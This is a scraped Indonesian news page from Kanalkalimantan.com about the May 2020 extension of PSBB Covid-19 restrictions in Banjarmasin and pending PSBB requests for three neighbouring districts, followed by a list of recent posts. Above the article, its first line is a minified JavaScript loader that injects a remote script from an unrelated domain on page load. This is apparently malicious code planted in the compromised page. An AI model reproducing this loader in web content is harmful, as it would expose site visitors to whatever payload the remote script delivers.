(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Status PSBB di Daerah Penyangga Akan Lebih Efektifkan Pengendalian Covid-19 di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Pembatasan Sosial Berskala Besar (PSBB) di Kota Banjarmasin diperpanjang terhitung mulai tanggal 8 Mei hingga 21 Mei 2020.

Kendati demikian, Wali Kota Banjarmasin H. Ibnu Sina masih berharap beberapa daerah penyangga seperti Kota Banjarbaru, Kabupaten Banjar dan Kabupaten Barito Kuala juga segera menerapkan hal yang sama.

Ibnu mengatakan, jajarannya sudah berkoordinasi dengan Pemprov Kalsel pada Rabu (6/5/2020) kemarin, melalui Sekda Provinsi Kalsel sebagai Ketua Harian Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kalimantan Selatan. Sekaligus juga menanyakan perkembangan usulan kabupaten dan kota tetangga yang menjadi penyangga Banjarmasin.

“Ternyata sudah diusulkan namun persetujuannya belum. Nah, kesiapan kabupaten dan kota yaitu Kabupaten Banjar, Kota Banjarbaru dan Kabupaten Barito Kuala itu secara kesiapan mereka sangat siap.

Tinggal memang persetujuan saja lagi dari Menkes RI,” beber Ibnu kepada awak media di Balaikota Banjarmasin, Kamis (7/5/2020) sore.

Tentunya, lanjut Ibnu, dengan belajar dari pengalaman Kota Banjarmasin yang terlebih dahulu menerapkan PSBB, tiga kabupaten dan kota ini juga tengah menyiapkan kesiapan PSBB lebih baik lagi. Harapannya, ketika Kota Banjarmasin melanjutkan PSBB maka kabupaten dan kota penyangga juga ikut serta. “Sehingga akan sangat efektif ketika kita melakukan PSBB dalam lingkup Banjarbakula,” lugas Ibnu.

Terpisah, Juru Bicara Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kalsel Muhamad Muslim mengatakan, pengajuan PSBB untuk tiga daerah penyangga Kota Banjarmasin ini sudah dikirimkan ke Kementerian Kesehatan RI sejak Rabu (6/5/2020) malam tadi. Sehingga, jajarannya tinggal menunggu bagaimana hasil penilaian dari Kemenkes RI.

“Terkait dengan usulan tiga daerah yaitu Kota Banjarbaru, Kabupaten Banjar dan Kabupaten Barito Kuala, semua sudah kita lakukan validasi terkait dengan kelengkapan data dan tentu saja kita akan menunggu bagaimana proses penilaian yang dilakukan oleh Kemenkes RI,” kata Muslim di Banjarbaru, Kamis (7/5/2020) sore. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

10 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

12 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

13 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

14 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

16 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

18 jam ago

This website uses cookies.